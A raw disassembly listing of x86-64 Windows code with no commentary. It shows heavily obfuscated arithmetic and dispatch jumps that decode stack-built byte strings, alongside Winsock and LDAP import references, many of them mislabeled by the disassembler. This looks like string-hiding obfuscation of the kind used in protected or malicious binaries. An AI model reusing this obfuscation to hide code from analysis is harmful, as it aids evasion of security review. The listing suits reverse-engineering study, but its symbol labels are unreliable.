sub bl, al
sub bl, 0x20
add bl, r9b
add bl, dl
jmp 0x1401f8e70
movabs rdx, 0xfdb20e333037a7f8
add rdx, r11
mov al, r9b
and al, dl
mov ecx, r8d
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r11 + 0xc70]
add bl, r9b
add bl, dl
movabs rdx, 0xe0b151f4e0f96384
add rdx, r11
mov al, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0xc70], al
add r10, r13
add rax, r10
sub r11, rax
jmp 0x1401f8ec8
movabs rcx, 0x42e7bbf7c8f92d0c
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x54
jmp 0x1401f8e9d
movabs rcx, 0xb6eaacf105f23edc
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 4
jmp 0x1401f8e70
movabs rdx, 0x2aed9dea42eb50ac
mov ecx, Ordinal_41
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
jmp 0x1401f8e25
movabs rcx, 0x64ef1666e167d994
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0xc
movabs rcx, 0x54b442ee1df27554
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x4c
add cl, r9b
mov byte [rbp + r11 + 0xc70], cl
add r10, r13
jmp 0x1401f8e47
movabs rcx, 0x4cf4f8595b59fd34
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x6c
sub r11, r13
jmp 0x1401f8f25
movabs rdx, 0x86f670d5f9d6861c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r11
mov al, dl
and al, r9b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r9b
movabs rcx, 0x1ab2ca717f75ec6c
add rcx, r11
mov al, cl
and al, r9b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r9b
mov byte [rbp + r11 + 0xc70], dl
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x1401f8f25
movabs rcx, 0x6efc52c873c8a9bc
add rcx, r11
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r12b
movabs rcx, 0xc3b095b691bb1f10
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x70
add cl, r9b
mov byte [rbp + r11 + 0xc70], cl
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r11, rax
jmp 0x1401f8f16
movabs rcx, 0xa8fdcb45124532a4
add rcx, r11
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x7c
movzx eax, byte [rbp + r11 + 0xc70]
add rax, r10
add r11, rax
add r11, r13
jmp 0x1401f8573
movabs rcx, 0xee9e33a0d4a66fbc
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, r12b
jmp 0x1401f856a
movabs rcx, 0x289fac1d7322f8a4
add rcx, r11
mov al, cl
and al, r9b
add al, al
sub cl, al
lea ebx, [r9 + rcx]
sub bl, 0x7c
jmp 0x1401f8554
lea rdx, [rbp + 0x16a0e80]
jmp 0x1401f8f8a
lea rdx, [rbp + 0x6bca0c]
jmp 0x1401f8f8a
lea rdx, [rbp + 0xc70]
lea rcx, [rbp + 0x3a0]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1860]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401f8fbf
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r13d
mov r14d, 0x40
mov r9d, r14d
lea esi, [r14 - 0x3e]
mov r8d, esi
lea rcx, [rbp + 0x1860]
call fcn.14018c840
nop
lea rcx, [rbp + 0x1860]
call fcn.140266950
nop
lea rcx, [rbp + 0x1860]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0xaa0], 0x9b
mov byte [rbp + 0xaa1], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xaa2], 0x90
mov byte [rbp + 0xaa3], 0xdb
mov byte [rbp + 0xaa4], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0xaa5], Ordinal_217
mov byte [rbp + 0xaa6], 0x7b
mov byte [rbp + 0xaa7], Ordinal_217
mov byte [rbp + 0xaa8], 0x43
mov byte [rbp + 0xaa9], Ordinal_211
mov byte [rbp + 0xaaa], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xaab], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xaac], 0x5e
mov byte [rbp + 0xaad], Ordinal_211
mov byte [rbp + 0xaae], 0x5d
mov byte [rbp + 0xaaf], Ordinal_211
mov byte [rbp + 0xab0], WSAGetLastError
mov byte [rbp + 0xab1], 0xc9
mov byte [rbp + 0xab2], 0x7a
mov byte [rbp + 0xab3], 0xcb
mov byte [rbp + 0xab4], Ordinal_79
mov byte [rbp + 0xab5], Ordinal_200
mov byte [rbp + 0xab6], 0x64
mov byte [rbp + 0xab7], Ordinal_200
mov byte [rbp + 0xab8], 0x54
mov byte [rbp + 0xab9], 0xc1
mov byte [rbp + 0xaba], 0x5b
mov byte [rbp + 0xabb], Ordinal_200
mov byte [rbp + 0xabc], 0x9f
mov byte [rbp + 0xabd], 0x3d
mov byte [rbp + 0xabe], 0x9a
mov byte [rbp + 0xabf], 0x3f
mov byte [rbp + 0xac0], 0x84
mov byte [rbp + 0xac1], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xac2], 0xa8
mov byte [rbp + 0xac3], Ordinal_60
mov byte [rbp + 0xac4], 0xad
mov byte [rbp + 0xac5], gethostname
mov byte [rbp + 0xac6], 0xb8
mov byte [rbp + 0xac7], Ordinal_60
mov byte [rbp + 0xac8], 0xad
mov byte [rbp + 0xac9], Ordinal_50
mov byte [rbp + 0xaca], 0xa0
mov byte [rbp + 0xacb], gethostname
mov byte [rbp + 0xacc], 0xbf
mov byte [rbp + 0xacd], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xace], 0x78
mov byte [rbp + 0xacf], Ordinal_50
mov byte [rbp + 0xad0], Ordinal_143
mov byte [rbp + 0xad1], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0xad2], 0xb3
mov byte [rbp + 0xad3], Ordinal_46
mov byte [rbp + 0xad4], 0xb2
mov byte [rbp + 0xad5], Ordinal_41
mov byte [rbp + 0xad6], Ordinal_41
mov byte [rbp + 0xad7], Ordinal_41
xor eax, eax
mov qword [rbp + 0xad8], rax
mov dword [rbp + 0xae0], eax
mov word [rbp + 0xae4], ax
mov byte [rbp + 0xae6], al
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x47
jae 0x1401f9cab
movzx r8d, byte [rbp + r9 + 0xaa0]
mov rdx, r8
cmp rdi, r9
ja 0x1401f9ca2
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401f920b
movabs r11, 0x76773772b8399364
lea rcx, [r9 + r11]
mov rax, rcx
and rax, rdx
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, rdx
add bl, 0x44
jmp 0x1401f9242
je 0x1401f9c1e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f9bee
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f9bcb
lea rax, [r10 + 7]
cmp rdi, rax
je 0x1401f9b7d
movabs r11, 0x76773772b8399364
cmp r10, r9
ja 0x1401f9c99
lea rax, [r10 + 0x28]
cmp rdi, rax
jae 0x1401f9275
movabs rdx, 0xb7c78c691cb91734
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6c
jmp 0x1401f9438
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401f9b6c
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f9b49
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f9afd
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f9ad7
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401f9a4c
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401f972e
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f971a
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x1401f96f8
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401f96e6
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x1401f96c5
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x1401f96b1
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x1401f968e
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401f967a
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x1401f9c76
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x1401f9c50
lea rax, [r10 + 0x10]
cmp rdi, rax
jb 0x1401f9465
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x1401f943f
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x1401f941c
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x1401f95b1
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x1401f9593
mov rdi, rax
lea r10, [rax + 0x7a]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x1401f957f
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x1401f955e
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x1401f954a
lea rax, [r10 + 0x7a]
cmp rdi, rax
ja 0x1401f9527
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x1401f9504
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1401f94e0
lea rcx, [r10 + 9]
cmp rdi, rcx
ja 0x1401f94bd
lea rax, [r10 + 0x1000]
cmp rdi, rax
ja 0x1401f94a9
lea rax, [r10 + 8]
cmp rdi, rax
ja 0x1401f9488
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x1401f92c3
mov rdi, rcx
lea r10, [rcx + 6]
jmp 0x1401f92c3
movabs rdx, 0x52bb1b4a0743074c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x1401f92b6
movabs rdx, 0x65ccac6496cfe084
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f9242
movabs rdx, 0x78de3d7f265cb9bc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
sub bl, r12b
jmp 0x1401f91d3
movabs rdx, 0xbe3c6348e5c8b9a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x60
jmp 0x1401f9b9c
movabs rdx, 0xd14df463755592d8
mov ecx, ntohl
jmp 0x1401f982f
movabs rcx, 0xe45f857e04e26c10
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x1401f9be9
movabs rdx, 0xf7711698946f4548
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401f9b19
movabs rcx, 0xa82a7b323fc1e80
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r15b
jmp 0x1401f9c0c
movabs rcx, 0x1d9438cdb388f7b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 8
jmp 0x1401f9c0f
movabs rdx, 0x30a5c9e84315d0f0
mov ecx, Ordinal_60
jmp 0x1401f9a5b
movabs rdx, 0x43b75b02d2a2aa28
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x18
jmp 0x1401f98c4
movabs rdx, 0x56c8ec1d622f8360
mov ecx, Ordinal_50
jmp 0x1401f976c
movabs rdx, 0x2c97f914e82954dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
jmp 0x1401f960e
movabs rdx, 0x3fa98a2f77b62e14
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x1000
je 0x1401f9a26
lea rax, [r10 + 0xa]
cmp rdi, rax
jbe 0x1401f97ed
movabs rdx, 0x3a683655e5b81ed4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 4
jae 0x1401f9a00
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jbe 0x1401f98fb
movabs rdx, 0xf22fc2bf02713608
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
cmp r10, 4
jb 0x1401f99f3
movabs rdx, 0x338017b566f0b9d8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401f9b9e
movabs rdx, 0x74d06cabcb703da8
mov ecx, 0x34
jmp 0x1401f9a5b
movabs rcx, 0x87e1fdc65afd16e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x1401f9c0f
movabs rdx, 0x9af38ee0ea89f018
mov ecx, Ordinal_46
jmp 0x1401f9ae6
movabs rdx, 0xae051ffb7a16c950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x1401f9b19
movabs rdx, 0xc116b11609a3a288
mov ecx, r12d
jmp 0x1401f9b58
movabs rcx, 0xd428423099307bc0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r14b
jmp 0x1401f9bc6
movabs rdx, 0xe739d34b28bd54f8
mov ecx, Ordinal_30
jmp 0x1401f9b8c
lea rax, [r10 + 0x41]
cmp rdi, rax
jae 0x1401f9754
lea rdx, [r9 + r11]
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f95d2
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f9783
movabs rdx, 0x6f8f18d239722e68
mov ecx, reloc.WS2_32.dll_sendto
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f9c39
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f97a0
movabs rdx, 0x496bf69d1a587bf8
mov ecx, Ordinal_30
jmp 0x1401f9a5b
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f97cc
movabs rcx, 0x365a65828acba2c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r14b
jmp 0x1401f9c0f
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401f95d2
movabs rdx, 0xfd25b232dc251718
mov ecx, Ordinal_46
jmp 0x1401f9b58
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f9817
movabs rdx, 0x2756a53b562b459c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x44
jmp 0x1401f9b9c
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f9846
movabs rdx, 0x14451420c69e6c64
mov ecx, Ordinal_35
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f9bc6
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f9872
movabs rcx, 0xdb1060d117f7e0bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x1401f9c0c
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401f989c
movabs rdx, 0xb4ed3e9bf8de2e4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
jmp 0x1401f9a6b
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401f98cb
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f9aa1
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401f9610
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x1401f9c39
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f9918
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x1401f976c
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f9935
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x1401f9a5b
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401f9952
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x1401f9ae6
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f997c
movabs rdx, 0x7fc65c1fa5241eb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 8
jmp 0x1401f9b19
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401f99a8
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
add bl, r15b
jmp 0x1401f9be9
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x1401f99c5
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x1401f982f
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401f9648
movabs rdx, 0x4691a8cff67d9310
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x1401f9b9c
mov byte [rbp + r9 + 0xaa0], bl
jmp 0x1401f9c48
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0xaa0]
sub bl, al
sub bl, 0x60
jmp 0x1401f94fc
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0xaa0]
jmp 0x1401f9a68
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xaa0], al
add r10, r13
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x50
add cl, r8b
mov byte [rbp + r9 + 0xaa0], cl
add rdi, r13
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401f9c39
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f9c0c
movabs rdx, 0x6b8147fede85b254
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4c
add bl, dl
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1c
add r8b, cl
add r8b, bl
mov byte [rbp + r9 + 0xaa0], r8b
jmp 0x1401f9c0c
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f9be9
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1401f9b8c
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xaa0], cl
add r10, r13
jmp 0x1401f9be9
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
sub r9, r13
jmp 0x1401f9c48
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401f9c48
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0xaa0]
add rax, r10
add r9, rax
add r9, r13
jmp 0x1401f91c0
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f91bb
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x1401f91ab
lea rdx, [rbp + 0x16f11d0]
jmp 0x1401f9cb2
lea rdx, [rbp + 0x68a534]
jmp 0x1401f9cb2
lea rdx, [rbp + 0xaa0]
lea rcx, [rbp + 0x3c0]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1970]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401f9ce7
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r13d
mov r9d, r14d
mov r8d, esi
lea rcx, [rbp + 0x1970]
call fcn.14018c840
nop
lea rcx, [rbp + 0x1970]
call fcn.140266950
nop
lea rcx, [rbp + 0x1970]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0x7c0], 0xcb
mov byte [rbp + 0x7c1], Ordinal_143
mov byte [rbp + 0x7c2], 0xac
mov byte [rbp + 0x7c3], 0xf3
mov byte [rbp + 0x7c4], Ordinal_79
mov byte [rbp + 0x7c5], 0xf1
mov byte [rbp + 0x7c6], WSAStartup
mov byte [rbp + 0x7c7], 0xf7
mov byte [rbp + 0x7c8], 0x55
mov byte [rbp + 0x7c9], 0xf5
mov byte [rbp + 0x7ca], 0xa2
mov byte [rbp + 0x7cb], 0xfb
mov byte [rbp + 0x7cc], 0x66
mov byte [rbp + 0x7cd], 0xf9
mov byte [rbp + 0x7ce], 0x55
mov byte [rbp + 0x7cf], 0xff
mov byte [rbp + 0x7d0], 0x59
mov byte [rbp + 0x7d1], 0xfd
mov byte [rbp + 0x7d2], WSAStartup
mov byte [rbp + 0x7d3], 0xe3
mov byte [rbp + 0x7d4], 0x47
mov byte [rbp + 0x7d5], 0xe1
mov byte [rbp + 0x7d6], Ordinal_79
mov byte [rbp + 0x7d7], 0xe7
mov byte [rbp + 0x7d8], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x7d9], 0xe5
mov byte [rbp + 0x7da], 0x42
mov byte [rbp + 0x7db], 0xeb
mov byte [rbp + 0x7dc], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x7dd], 0xe9
mov byte [rbp + 0x7de], r14b
mov byte [rbp + 0x7df], 0xef
mov byte [rbp + 0x7e0], 0xb8
mov byte [rbp + 0x7e1], 0xed
mov byte [rbp + 0x7e2], 0x87
mov byte [rbp + 0x7e3], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x7e4], 0x44
mov byte [rbp + 0x7e5], Ordinal_211
mov byte [rbp + 0x7e6], r14b
mov byte [rbp + 0x7e7], Ordinal_217
mov byte [rbp + 0x7e8], 0x81
mov byte [rbp + 0x7e9], Ordinal_217
mov byte [rbp + 0x7ea], 0x7e
mov byte [rbp + 0x7eb], 0xdb
mov byte [rbp + 0x7ec], 0x7c
mov byte [rbp + 0x7ed], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x7ee], WSAStartup
mov byte [rbp + 0x7ef], 0xdf
mov byte [rbp + 0x7f0], Ordinal_143
mov byte [rbp + 0x7f1], 0xdd
mov byte [rbp + 0x7f2], 0x64
mov byte [rbp + 0x7f3], Ordinal_200
mov byte [rbp + 0x7f4], WSAGetLastError
mov byte [rbp + 0x7f5], 0xc1
mov byte [rbp + 0x7f6], 0x54
mov byte [rbp + 0x7f7], Ordinal_200
mov byte [rbp + 0x7f8], Ordinal_200
mov byte [rbp + 0x7f9], Ordinal_200
xor eax, eax
mov dword [rbp + 0x7fa], eax
mov word [rbp + 0x7fe], ax
mov bl, byte [rsp + 0x50]
call fcn.1402682a8
mov rdi, qword [rax]
call fcn.1402682b0
mov r11, qword [rax]
xor eax, eax
mov r10d, eax
cmp r10, r14
jae 0x1401faacf
movzx r9d, byte [rbp + r10 + 0x7c0]
mov r8, r9
cmp rdi, r10
ja 0x1401faac6
lea rax, [r11 + 1]
cmp rdi, rax
jae 0x1401f9f29
movabs r15, 0xda32561d88143dbe
lea rcx, [r10 + r15]
mov rax, rcx
and rax, r9
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r9
sub bl, 0x32
jmp 0x1401f9f6d
je 0x1401faa39
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401fa9e0
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401fa98a
lea rax, [r11 + 6]
cmp rdi, rax
je 0x1401fa961
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401fa915
movabs r15, 0xda32561d88143dbe
cmp r11, r10
ja 0x1401faabd
lea rax, [r11 + 4]
cmp rdi, rax
jae 0x1401f9fa0
movabs rdx, 0xe621106c29a91096
add rdx, r10
mov al, r9b
and al, dl
add al, al
mov bl, r9b
sub bl, al
sub bl, 0x1a
jmp 0x1401fa1b2
lea rax, [r11 + 1]
cmp rdi, rax
je 0x1401fa8f7
lea rax, [r11 + 2]
cmp rdi, rax
je 0x1401fa8d4
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401fa8a4
lea rax, [r11 + 3]
cmp rdi, rax
je 0x1401fa886
lea rax, [r11 + rdi]
cmp rax, r10
jbe 0x1401fa4c6
lea rax, [r11 + 0xa]
cmp rdi, rax
je 0x1401fa4a4
lea rax, [r11 + 0x200]
cmp rdi, rax
je 0x1401fa47e
lea rax, [r11 + 0x2a]
cmp rdi, rax
je 0x1401fa45b
lea rax, [r11 + 9]
cmp rdi, rax
je 0x1401fa447
lea rax, [r11 + 8]
cmp rdi, rax
je 0x1401fa424
lea rax, [r11 + 0x64]
cmp rdi, rax
je 0x1401fa401
lea rax, [r11 + 0x41]
cmp rdi, rax
je 0x1401fa3ed
lea rax, [r11 + 0x7a]
cmp rdi, rax
je 0x1401fa3ca
lea rax, [r11 + 5]
cmp rdi, rax
je 0x1401fa3a4
lea rax, [r11 + 0x40]
cmp rdi, rax
je 0x1401f9fe1
lea rdi, [r11 + 0x200]
lea r11, [rdi + 0x28]
lea rax, [r11 + 0x80]
cmp rdi, rax
jb 0x1401faa97
lea rax, [r11 + 0x5a]
cmp rdi, rax
jb 0x1401faa71
lea rax, [r11 + 8]
cmp rdi, rax
jb 0x1401fa1df
lea rax, [r11 + 6]
cmp rdi, rax
jb 0x1401fa1b9
lea rax, [r11 + 0x42]
cmp rdi, rax
jb 0x1401fa196
lea rax, [r11 + 0x7a]
cmp rdi, rax
jb 0x1401fa380
lea rax, [r11 + 5]
cmp rdi, rax
jb 0x1401fa36c
lea rax, [r11 + 4]
cmp rdi, rax
jb 0x1401fa34b
lea rax, [r11 + 0x28]
cmp rdi, rax
jb 0x1401fa31d
lea rax, [r11 + 0x1000]
cmp rdi, rax
jb 0x1401f9fe1
lea rdi, [r11 + 0x64]
lea r11, [rdi + 0x400]
